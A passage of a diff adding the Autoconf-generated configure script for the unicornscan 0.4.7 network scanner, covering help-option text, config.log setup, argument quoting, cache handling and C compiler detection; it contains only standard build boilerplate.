modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] + --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] + --datadir=DIR read-only architecture-independent data [DATAROOTDIR] + --infodir=DIR info documentation [DATAROOTDIR/info] + --localedir=DIR locale-dependent data [DATAROOTDIR/locale] + --mandir=DIR man documentation [DATAROOTDIR/man] + --docdir=DIR documentation root [DATAROOTDIR/doc/unicornscan] + --htmldir=DIR html documentation [DOCDIR] + --dvidir=DIR dvi documentation [DOCDIR] + --pdfdir=DIR pdf documentation [DOCDIR] + --psdir=DIR ps documentation [DOCDIR] +_ACEOF + + cat <<\_ACEOF + +System types: + --build=BUILD configure for building on BUILD [guessed] + --host=HOST cross-compile to build programs to run on HOST [BUILD] +_ACEOF +fi + +if test -n "$ac_init_help"; then + case $ac_init_help in + short | recursive ) echo "Configuration of unicornscan 0.4.7:";; + esac + cat <<\_ACEOF + +Optional Features: + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --enable-shared[=PKGS] build shared libraries [default=yes] + --enable-static[=PKGS] build static libraries [default=yes] + --enable-fast-install[=PKGS] + optimize for fast installation [default=yes] + --disable-libtool-lock avoid locking (might break parallel builds) + --enable-bundled-ltdl staticly link against bundled ltdl, not system wide version + --enable-debug-support enable possibly unsafe debugging functions + +Optional Packages: + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --without-gcc don't use gcc + --with-gnu-ld assume the C compiler uses GNU ld [default=no] + --with-pic try to use only PIC/non-PIC objects [default=use + both] + --with-tags[=TAGS] include additional configurations [automatic] + --with-libdnet=PREFIX use already installed libdnet in PREFIX + + --with-prng=PATH Use random number generator specificed by PATH + --with-listen-user enable username for listener (default nobody) + --with-mysql=DIR support for mysql + --with-pgsql=DIR support for PostgreSQL + +Some influential environment variables: + CC C compiler command + CFLAGS C compiler flags + LDFLAGS linker flags, e.g. -L if you have libraries in a + nonstandard directory + CPPFLAGS C/C++/Objective C preprocessor flags, e.g. -I if + you have headers in a nonstandard directory + CPP C preprocessor + CXX C++ compiler command + CXXFLAGS C++ compiler flags + CXXCPP C++ preprocessor + F77 Fortran 77 compiler command + FFLAGS Fortran 77 compiler flags + +Use these variables to override the choices made by `configure' or to help +it to find libraries and programs with nonstandard names/locations. + +Report bugs to . +_ACEOF +ac_status=$? +fi + +if test "$ac_init_help" = "recursive"; then + # If there are subdirs, report their specific --help. + for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue + test -d "$ac_dir" || continue + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,/..,g;s,/,,'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + cd "$ac_dir" || { ac_status=$?; continue; } + # Check for guested configure. + if test -f "$ac_srcdir/configure.gnu"; then + echo && + $SHELL "$ac_srcdir/configure.gnu" --help=recursive + elif test -f "$ac_srcdir/configure"; then + echo && + $SHELL "$ac_srcdir/configure" --help=recursive + else + echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 + fi || ac_status=$? + cd "$ac_pwd" || { ac_status=$?; break; } + done +fi + +test -n "$ac_init_help" && exit $ac_status +if $ac_init_version; then + cat <<\_ACEOF +unicornscan configure 0.4.7 +generated by GNU Autoconf 2.60 + +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, +2002, 2003, 2004, 2005, 2006 Free Software Foundation, Inc. +This configure script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it. +_ACEOF + exit +fi +cat >config.log <<_ACEOF +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. + +It was created by unicornscan $as_me 0.4.7, which was +generated by GNU Autoconf 2.60. Invocation command line was + + $ $0 $@ + +_ACEOF +exec 5>>config.log +{ +cat <<_ASUNAME +## --------- ## +## Platform. ## +## --------- ## + +hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` + +/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` +/usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` +/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` +/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` + +_ASUNAME + +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + echo "PATH: $as_dir" +done +IFS=$as_save_IFS + +} >&5 + +cat >&5 <<_ACEOF + + +## ----------- ## +## Core tests. ## +## ----------- ## + +_ACEOF + + +# Keep a trace of the command line. +# Strip out --no-create and --no-recursion so they do not pile up. +# Strip out --silent because we don't want to record it for future runs. +# Also quote any args containing shell meta-characters. +# Make two passes to allow for proper duplicate-argument suppression. +ac_configure_args= +ac_configure_args0= +ac_configure_args1= +ac_must_keep_next=false +for ac_pass in 1 2 +do + for ac_arg + do + case $ac_arg in + -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + continue ;; + *\'*) + ac_arg=`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + case $ac_pass in + 1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;; + 2) + ac_configure_args1="$ac_configure_args1 '$ac_arg'" + if test $ac_must_keep_next = true; then + ac_must_keep_next=false # Got value, back to normal. + else + case $ac_arg in + *=* | --config-cache | -C | -disable-* | --disable-* \ + | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ + | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ + | -with-* | --with-* | -without-* | --without-* | --x) + case "$ac_configure_args0 " in + "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; + esac + ;; + -* ) ac_must_keep_next=true ;; + esac + fi + ac_configure_args="$ac_configure_args '$ac_arg'" + ;; + esac + done +done +$as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; } +$as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; } + +# When interrupted or exit'd, cleanup temporary files, and complete +# config.log. We remove comments because anyway the quotes in there +# would cause problems or look ugly. +# WARNING: Use '\'' to represent an apostrophe within the trap. +# WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. +trap 'exit_status=$? + # Save into config.log some information that might help in debugging. + { + echo + + cat <<\_ASBOX +## ---------------- ## +## Cache variables. ## +## ---------------- ## +_ASBOX + echo + # The following way of writing the cache mishandles newlines in values, +( + for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { echo "$as_me:$LINENO: WARNING: Cache variable $ac_var contains a newline." >&5 +echo "$as_me: WARNING: Cache variable $ac_var contains a newline." >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + *) $as_unset $ac_var ;; + esac ;; + esac + done + (set) 2>&1 | + case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + sed -n \ + "s/'\''/'\''\\\\'\'''\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" + ;; #( + *) + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) + echo + + cat <<\_ASBOX +## ----------------- ## +## Output variables. ## +## ----------------- ## +_ASBOX + echo + for ac_var in $ac_subst_vars + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + echo "$ac_var='\''$ac_val'\''" + done | sort + echo + + if test -n "$ac_subst_files"; then + cat <<\_ASBOX +## ------------------- ## +## File substitutions. ## +## ------------------- ## +_ASBOX + echo + for ac_var in $ac_subst_files + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + echo "$ac_var='\''$ac_val'\''" + done | sort + echo + fi + + if test -s confdefs.h; then + cat <<\_ASBOX +## ----------- ## +## confdefs.h. ## +## ----------- ## +_ASBOX + echo + cat confdefs.h + echo + fi + test "$ac_signal" != 0 && + echo "$as_me: caught signal $ac_signal" + echo "$as_me: exit $exit_status" + } >&5 + rm -f core *.core core.conftest.* && + rm -f -r conftest* confdefs* conf$$* $ac_clean_files && + exit $exit_status +' 0 +for ac_signal in 1 2 13 15; do + trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal +done +ac_signal=0 + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -f -r conftest* confdefs.h + +# Predefined preprocessor variables. + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_NAME "$PACKAGE_NAME" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_TARNAME "$PACKAGE_TARNAME" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_VERSION "$PACKAGE_VERSION" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_STRING "$PACKAGE_STRING" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" +_ACEOF + + +# Let the site file select an alternate cache file if it wants to. +# Prefer explicitly selected file to automatically selected ones. +if test -n "$CONFIG_SITE"; then + set x "$CONFIG_SITE" +elif test "x$prefix" != xNONE; then + set x "$prefix/share/config.site" "$prefix/etc/config.site" +else + set x "$ac_default_prefix/share/config.site" \ + "$ac_default_prefix/etc/config.site" +fi +shift +for ac_site_file +do + if test -r "$ac_site_file"; then + { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5 +echo "$as_me: loading site script $ac_site_file" >&6;} + sed 's/^/| /' "$ac_site_file" >&5 + . "$ac_site_file" + fi +done + +if test -r "$cache_file"; then + # Some versions of bash will fail to source /dev/null (special + # files actually), so we avoid doing that. + if test -f "$cache_file"; then + { echo "$as_me:$LINENO: loading cache $cache_file" >&5 +echo "$as_me: loading cache $cache_file" >&6;} + case $cache_file in + [\\/]* | ?:[\\/]* ) . "$cache_file";; + *) . "./$cache_file";; + esac + fi +else + { echo "$as_me:$LINENO: creating cache $cache_file" >&5 +echo "$as_me: creating cache $cache_file" >&6;} + >$cache_file +fi + +# Check that the precious variables saved in the cache have kept the same +# value. +ac_cache_corrupted=false +for ac_var in $ac_precious_vars; do + eval ac_old_set=\$ac_cv_env_${ac_var}_set + eval ac_new_set=\$ac_env_${ac_var}_set + eval ac_old_val=\$ac_cv_env_${ac_var}_value + eval ac_new_val=\$ac_env_${ac_var}_value + case $ac_old_set,$ac_new_set in + set,) + { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 +echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,set) + { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5 +echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,);; + *) + if test "x$ac_old_val" != "x$ac_new_val"; then + { echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5 +echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} + { echo "$as_me:$LINENO: former value: $ac_old_val" >&5 +echo "$as_me: former value: $ac_old_val" >&2;} + { echo "$as_me:$LINENO: current value: $ac_new_val" >&5 +echo "$as_me: current value: $ac_new_val" >&2;} + ac_cache_corrupted=: + fi;; + esac + # Pass precious variables to config.status. + if test "$ac_new_set" = set; then + case $ac_new_val in + *\'*) ac_arg=$ac_var=`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; + *) ac_arg=$ac_var=$ac_new_val ;; + esac + case " $ac_configure_args " in + *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. + *) ac_configure_args="$ac_configure_args '$ac_arg'" ;; + esac + fi +done +if $ac_cache_corrupted; then + { echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5 +echo "$as_me: error: changes in the environment can compromise the build" >&2;} + { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5 +echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;} + { (exit 1); exit 1; }; } +fi + + + + + + + + + + + + + + + + + + + + + + + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +ac_config_headers="$ac_config_headers src/config.h:src/config.h.in" + + +ac_aux_dir= +for ac_dir in autostuff "$srcdir"/autostuff; do + if test -f "$ac_dir/install-sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f "$ac_dir/install.sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + elif test -f "$ac_dir/shtool"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/shtool install -c" + break + fi +done +if test -z "$ac_aux_dir"; then + { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in autostuff \"$srcdir\"/autostuff" >&5 +echo "$as_me: error: cannot find install-sh or install.sh in autostuff \"$srcdir\"/autostuff" >&2;} + { (exit 1); exit 1; }; } +fi + +# These three variables are undocumented and unsupported, +# and are intended to be withdrawn in a future Autoconf release. +# They can cause serious problems if a builder's source tree is in a directory +# whose full name contains unusual characters. +ac_config_guess="$SHELL $ac_aux_dir/config.guess" # Please don't use this var. +ac_config_sub="$SHELL $ac_aux_dir/config.sub" # Please don't use this var. +ac_configure="$SHELL $ac_aux_dir/configure" # Please don't use this var. + + + +BUILD_DIR=`pwd` +top_builddir=`pwd` +top_srcdir=`pwd` + +U_COPTS="${CFLAGS}" +U_CDEFS="" +U_CINCS="${CPPFLAGS}" +U_LDFLAGS="${LDFLAGS}" +U_LIBS="" + +targetname="unicornscan" +sendername="unisend" +listenername="unilisten" + +{ echo "$as_me:$LINENO: result: configuring unicornscan version ${PACKAGE_VERSION}" >&5 +echo "${ECHO_T}configuring unicornscan version ${PACKAGE_VERSION}" >&6; } + + + + + + +# Check whether --with-gcc was given. +if test "${with_gcc+set}" = set; then + withval=$with_gcc; +fi + + U_COPTS="-O" + U_CINCS="" + if test "${srcdir}" != "." ; then + U_CINCS="-I\$(srcdir)" + fi + if test "${CFLAGS+set}" = set; then + LBL_CFLAGS="$CFLAGS" + fi + if test -z "$CC" ; then + case "$host_os" in + + bsdi*) + # Extract the first word of "shlicc2", so it can be a program name with args. +set dummy shlicc2; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_SHLICC2+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$SHLICC2"; then + ac_cv_prog_SHLICC2="$SHLICC2" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_SHLICC2="yes" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + + test -z "$ac_cv_prog_SHLICC2" && ac_cv_prog_SHLICC2="no" +fi +fi +SHLICC2=$ac_cv_prog_SHLICC2 +if test -n "$SHLICC2"; then + { echo "$as_me:$LINENO: result: $SHLICC2" >&5 +echo "${ECHO_T}$SHLICC2" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + if test $SHLICC2 = yes ; then + CC=shlicc2 + export CC + fi + ;; + esac + fi + if test -z "$CC" -a "$with_gcc" = no ; then + CC=cc + export CC + fi + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + fi +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" + fi +fi +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl.exe + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl.exe +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$ac_ct_CC" && break +done + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +fi + +fi + + +test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&5 +echo "$as_me: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + +# Provide some information about the compiler. +echo "$as_me:$LINENO: checking for C compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (ac_try="$ac_compiler --version >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler --version >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -v >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -v >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -V >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -V >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat 